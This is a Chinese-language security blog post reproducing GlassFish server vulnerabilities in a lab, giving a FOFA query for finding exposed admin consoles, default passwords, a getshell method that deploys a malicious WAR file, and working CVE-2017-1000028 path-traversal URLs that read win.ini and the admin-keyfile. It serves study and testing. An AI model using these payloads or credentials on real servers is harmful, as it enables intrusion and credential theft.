GlassFish中间件漏洞复现

admin 2022年4月5日17:32:48评论567 views字数 2346阅读7分49秒阅读模式

目录

0X00 指纹特征

0X01 GlassFish简介

0X02 靶场环境搭建

0X03 漏洞复现

 

0X00 指纹特征

0.1 fofa

"glassfish" && port="4848"

0.2 业务端口报错页面

GlassFish中间件漏洞复现

 

 

0X01 GlassFish简介

    GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

    GlassFish是用于构建Java EE 5应用服务器的开源开发项目的名称。它基于Sun Microsystems提供的Sun Java System Application Server PE 9的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。该项目旨在促进Sun和Oracle工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来。

    GlassFish 是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。

    常见端口

Admin

4848

HTTP Instance

8080

JMS

7676

IIOP

3700

HTTP_SSL

8181

IIOP_SSL

3820

IIOP_MUTUALAUTH

3920

JMX_ADMIN

8686

OSGI_SHELL

6666

JAVA_DEBUGGER

9009

 

0X02 环境靶场搭建

2.1 下载GlassFish中间件(https://javaee.github.io/glassfish/download)。

GlassFish中间件漏洞复现

2.2 解压完成后进入bin目录,设置环境变量。添加bin目录至path。

GlassFish中间件漏洞复现

2.3 运行GlassFish中间件。

asadmin start-domain  //开启GlassFishasadmin stop-domain   //关闭GlassFis

GlassFish中间件漏洞复现

2.4 访问http://127.0.0.1:4848/common/index.jsf页面,成功进入管理后台。

GlassFish中间件漏洞复现

 

0X03 漏洞复现

    靶场环境:http://192.168.160.145:4848/ 【Windows10靶机】

3.1 GlassFish默认口令

    默认情况下,在本机登录4848管理端口,直接免密进入管理后台。

GlassFish中间件漏洞复现

  如需远程管理则需要更改“admin”默认密码,开启远程管理权限,否则会提示“Configuration Error
Secure Admin must be enabled to access the DAS remotely.”错误。

asadmin change-admin-password  //更改密码

GlassFish中间件漏洞复现

enable-secure-admin //开启远程安全管理

GlassFish中间件漏洞复现

  远程登录成功。

GlassFish中间件漏洞复现

  常见口令:

GlassFish2默认帐号admin密码adminadmin。
GlassFish3、4 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。

 

3.2 GlassFish后台getshell

3.2.1 漏洞原理

    在进入4848端口后台管页面,攻击者可通过部署包含恶意木马的war包,从而达到对中间件甚至服务器的控制。

3.2.2 漏洞复现

  制作包含恶意木马的war包。

GlassFish中间件漏洞复现

  依次点击Applications - Deploy页面,进入上传页面。

GlassFish中间件漏洞复现

  将制作好的war包上传,并填写Context Root,这里自动填写为shell。

GlassFish中间件漏洞复现

  访问shell地址,发现上传成功。

    地址:http://192.168.160.148:8080/shell/shell.jsp

GlassFish中间件漏洞复现

  冰蝎成功连接,获取控制权限。

GlassFish中间件漏洞复现

 

3.3 GlassFish任意文件读取漏洞(CVE-2017-1000028)

3.3.1 漏洞原理

  Java语言中会把%c0%af解析为uC0AF,最后转义为ASCCII字符的/(斜杠)。利用..%c0%af..%c0%af来向上跳转,达到目录穿越、任意文件读取的效果。 计算机指定了UTF8编码接收二进制并进行转义,当发现字节以0开头,表示这是一个标准ASCII字符,直接转义,当发现110开头,则取2个字节去掉110模板后转义。

  Java语言中会把%c0%ae解析为uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

3.3.2 影响范围

  GlassFish <=4.1.2

3.3.3 漏洞复现

  在后台管理页面构造payload,实现任意文件读取。

payload:http://192.168.160.145:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GlassFish中间件漏洞复现

  读取admin-keyfile文件。

payload:http://192.168.160.145:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile

GlassFish中间件漏洞复现

 

 

 

原文始发于微信公众号(Matrix1024):GlassFish中间件漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月5日17:32:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GlassFish中间件漏洞复现http://cn-sec.com/archives/867913.html

发表评论

匿名网友 填写信息